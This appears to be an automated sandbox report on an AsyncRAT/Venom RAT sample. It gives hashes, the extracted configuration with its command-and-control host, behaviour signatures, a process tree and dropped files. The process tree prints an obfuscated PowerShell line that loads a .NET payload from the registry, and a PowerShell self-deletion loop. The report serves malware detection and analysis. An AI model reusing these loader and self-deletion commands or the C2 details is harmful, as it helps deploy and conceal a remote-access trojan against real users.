Analysis

  • max time kernel
    150s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    10-05-2024 07:11

General

  • Target

    9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe

  • Size

    1.5MB

  • MD5

    9c0f25deda5fd180238008b7b97fab10

  • SHA1

    f65d5a0b184c6bc0866ea214b2dbe37135eb6f9c

  • SHA256

    78ce536df6722793cde9eca1bc9f78bc4abe3d17613eb950401c1fbc0335142c

  • SHA512

    6d5c2a12818e8f6b6e0260ef81c18409c9b4319fff3ec7000ccf5b6dfa29b933ccfadcc414f8af83d3ca2c3f7def5f52f1ca649c698691c742e3559a0fb317b3

  • SSDEEP

    24576:8NNGBDaQ3lPIiTr9befL/s20Z7RMnaGq3Lpu/ukPew0t4OH6Lwu69wYzGXIgA/H7:/lVwzl0Z7zGq7ptw0t9RfP

Malware Config

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

C2

blue.o7lab.me:4449

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes
  • delay

    10

  • install

    true

  • install_file

    pop3.exe

  • install_folder

    %Temp%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 2 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 9 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:428
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{7fa4e402-8564-4555-8271-496f8e63025d}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2876
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:472
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:596
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
              3⤵
                PID:804
              • C:\Windows\system32\wbem\wmiprvse.exe
                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                3⤵
                  PID:2052
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k RPCSS
                2⤵
                  PID:676
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                  2⤵
                  • Modifies security service
                  PID:748
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                  2⤵
                    PID:812
                    • C:\Windows\system32\Dwm.exe
                      "C:\Windows\system32\Dwm.exe"
                      3⤵
                        PID:1152
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:848
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {E71943FE-33A8-4D3B-9380-2ED8D60848CE} S-1-5-18:NT AUTHORITY\System:Service:
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2140
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Char](115)+'t'+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
                          4⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2072
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService
                      2⤵
                        PID:960
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k NetworkService
                        2⤵
                          PID:276
                        • C:\Windows\System32\spoolsv.exe
                          C:\Windows\System32\spoolsv.exe
                          2⤵
                            PID:1004
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                            2⤵
                              PID:1072
                            • C:\Windows\system32\taskhost.exe
                              "taskhost.exe"
                              2⤵
                                PID:1080
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                                2⤵
                                  PID:1288
                                • C:\Windows\system32\sppsvc.exe
                                  C:\Windows\system32\sppsvc.exe
                                  2⤵
                                    PID:2148
                                • C:\Windows\system32\lsass.exe
                                  C:\Windows\system32\lsass.exe
                                  1⤵
                                    PID:488
                                  • C:\Windows\system32\lsm.exe
                                    C:\Windows\system32\lsm.exe
                                    1⤵
                                      PID:496
                                    • C:\Windows\Explorer.EXE
                                      C:\Windows\Explorer.EXE
                                      1⤵
                                        PID:1200
                                        • C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe
                                          "C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe"
                                          2⤵
                                          • Loads dropped DLL
                                          • Suspicious use of WriteProcessMemory
                                          PID:2216
                                          • C:\Users\Admin\AppData\Local\Temp\O7BOT.exe
                                            "C:\Users\Admin\AppData\Local\Temp\O7BOT.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Adds Run key to start application
                                            • Checks processor information in registry
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:556
                                          • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                            "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1796
                                          • C:\Users\Admin\AppData\Local\Temp\VENOM.exe
                                            "C:\Users\Admin\AppData\Local\Temp\VENOM.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Suspicious use of WriteProcessMemory
                                            PID:2292
                                            • C:\Users\Admin\AppData\Roaming\Install.exe
                                              "C:\Users\Admin\AppData\Roaming\Install.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:1588
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 1020
                                              4⤵
                                              • Loads dropped DLL
                                              • Program crash
                                              PID:3024
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $file='C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe';for($i=1;$i -le 600 -and (Test-Path $file -PathType leaf);$i++){Remove-Item $file;Start-Sleep -m 100}
                                            3⤵
                                            • Deletes itself
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2644
                                      • C:\Windows\system32\conhost.exe
                                        \??\C:\Windows\system32\conhost.exe "1807355002400027821487082641-628697697-1691833429-20167174171463726205109710044"
                                        1⤵
                                          PID:2972

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

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                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Temp\VENOM.exe

                                          Filesize

                                          376KB

                                          MD5

                                          6b9c17340172a6a60b1104628a69f9c6

                                          SHA1

                                          db8e387d429b852233dc872b91f7cc9308c703f9

                                          SHA256

                                          9c67f5654d96f6399a567bdd70314b0d746bffa8611591d473217e287a46d14e

                                          SHA512

                                          6b4e475d23892e4ce646b291222793b8f6fa0f888545ddbebb5fd02bd145212911abf15933888021560a5bf912e03e4b0c37a0b03601be25d691e885d7bc09ef

                                        • C:\Users\Admin\AppData\Local\Temp\svchost.exe

                                          Filesize

                                          631KB

                                          MD5

                                          9d82dc826bcac1bdd4c41bf79577af27

                                          SHA1

                                          c38360ef0e8acb8f34ebe713ab83ce85cf3fe503

                                          SHA256

                                          784233bc80ea7857c39dbcd9c929a626093fced8c54224e742c4d0e1d128e80d

                                          SHA512

                                          7b863ee39c0e58e91db4fef3bf968c15a595d8de7dbbfd43d56c8b6e2ccdff59aaedc85cdb5d9924128cdf5fc1a77fe9fe36a4dcc4d8fd49da89b6462be1338b

                                        • \Users\Admin\AppData\Local\Temp\O7BOT.exe

                                          Filesize

                                          34KB

                                          MD5

                                          15df2c3e654cfcf05a461001caa3873f

                                          SHA1

                                          76755d8f5ca782d87320e031b9b5c1c06c1aa59a

                                          SHA256

                                          def50a99856f6c75d6f714b390da7c98ba82ce0280c101c313cc90caf522f011

                                          SHA512

                                          b871fc427c5760fe4a37aadc8962c72df331d4daf7d8e50bc3cdd51981db3e0abe92429701d2325d7827ae33d5d289ee52020a8ebb4a49629920f13eeb77ab80

                                        • \Users\Admin\AppData\Roaming\Install.exe

                                          Filesize

                                          162KB

                                          MD5

                                          152e3f07bbaf88fb8b097ba05a60df6e

                                          SHA1

                                          c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

                                          SHA256

                                          a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

                                          SHA512

                                          2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

                                        • memory/428-73-0x000007FEBFA40000-0x000007FEBFA50000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/428-74-0x0000000037820000-0x0000000037830000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/428-65-0x0000000000BC0000-0x0000000000BEB000-memory.dmp

                                          Filesize

                                          172KB

                                        • memory/428-72-0x0000000000BC0000-0x0000000000BEB000-memory.dmp

                                          Filesize

                                          172KB

                                        • memory/428-64-0x0000000000AF0000-0x0000000000B15000-memory.dmp

                                          Filesize

                                          148KB

                                        • memory/428-62-0x0000000000AF0000-0x0000000000B15000-memory.dmp

                                          Filesize

                                          148KB

                                        • memory/428-66-0x0000000000BC0000-0x0000000000BEB000-memory.dmp

                                          Filesize

                                          172KB

                                        • memory/472-86-0x0000000000CB0000-0x0000000000CDB000-memory.dmp

                                          Filesize

                                          172KB

                                        • memory/472-87-0x000007FEBFA40000-0x000007FEBFA50000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/472-88-0x0000000037820000-0x0000000037830000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/472-80-0x0000000000CB0000-0x0000000000CDB000-memory.dmp

                                          Filesize

                                          172KB

                                        • memory/488-100-0x00000000001E0000-0x000000000020B000-memory.dmp

                                          Filesize

                                          172KB

                                        • memory/488-94-0x00000000001E0000-0x000000000020B000-memory.dmp

                                          Filesize

                                          172KB

                                        • memory/488-102-0x0000000037820000-0x0000000037830000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/488-101-0x000007FEBFA40000-0x000007FEBFA50000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/496-108-0x00000000008C0000-0x00000000008EB000-memory.dmp

                                          Filesize

                                          172KB

                                        • memory/556-21-0x00000000009D0000-0x00000000009DE000-memory.dmp

                                          Filesize

                                          56KB

                                        • memory/1796-42-0x0000000000AF0000-0x0000000000B3C000-memory.dmp

                                          Filesize

                                          304KB

                                        • memory/1796-22-0x000000013FB20000-0x000000013FBC2000-memory.dmp

                                          Filesize

                                          648KB

                                        • memory/1796-27-0x000000001B830000-0x000000001B932000-memory.dmp

                                          Filesize

                                          1.0MB

                                        • memory/1796-150-0x000000001AC60000-0x000000001ACB4000-memory.dmp

                                          Filesize

                                          336KB

                                        • memory/1796-41-0x0000000000640000-0x0000000000696000-memory.dmp

                                          Filesize

                                          344KB

                                        • memory/2072-49-0x00000000777E0000-0x0000000077989000-memory.dmp

                                          Filesize

                                          1.7MB

                                        • memory/2072-47-0x0000000000980000-0x0000000000988000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2072-46-0x0000000019FB0000-0x000000001A292000-memory.dmp

                                          Filesize

                                          2.9MB

                                        • memory/2072-48-0x0000000019EF0000-0x0000000019F1A000-memory.dmp

                                          Filesize

                                          168KB

                                        • memory/2072-50-0x00000000776C0000-0x00000000777DF000-memory.dmp

                                          Filesize

                                          1.1MB

                                        • memory/2216-0-0x0000000000400000-0x000000000058C000-memory.dmp

                                          Filesize

                                          1.5MB

                                        • memory/2292-36-0x000000000BA40000-0x000000000BA56000-memory.dmp

                                          Filesize

                                          88KB

                                        • memory/2292-26-0x0000000000410000-0x0000000000452000-memory.dmp

                                          Filesize

                                          264KB

                                        • memory/2292-23-0x0000000000A50000-0x0000000000AB4000-memory.dmp

                                          Filesize

                                          400KB

                                        • memory/2876-54-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2876-59-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2876-57-0x00000000777E0000-0x0000000077989000-memory.dmp

                                          Filesize

                                          1.7MB

                                        • memory/2876-56-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2876-53-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2876-52-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/2876-51-0x0000000140000000-0x0000000140008000-memory.dmp

                                          Filesize

                                          32KB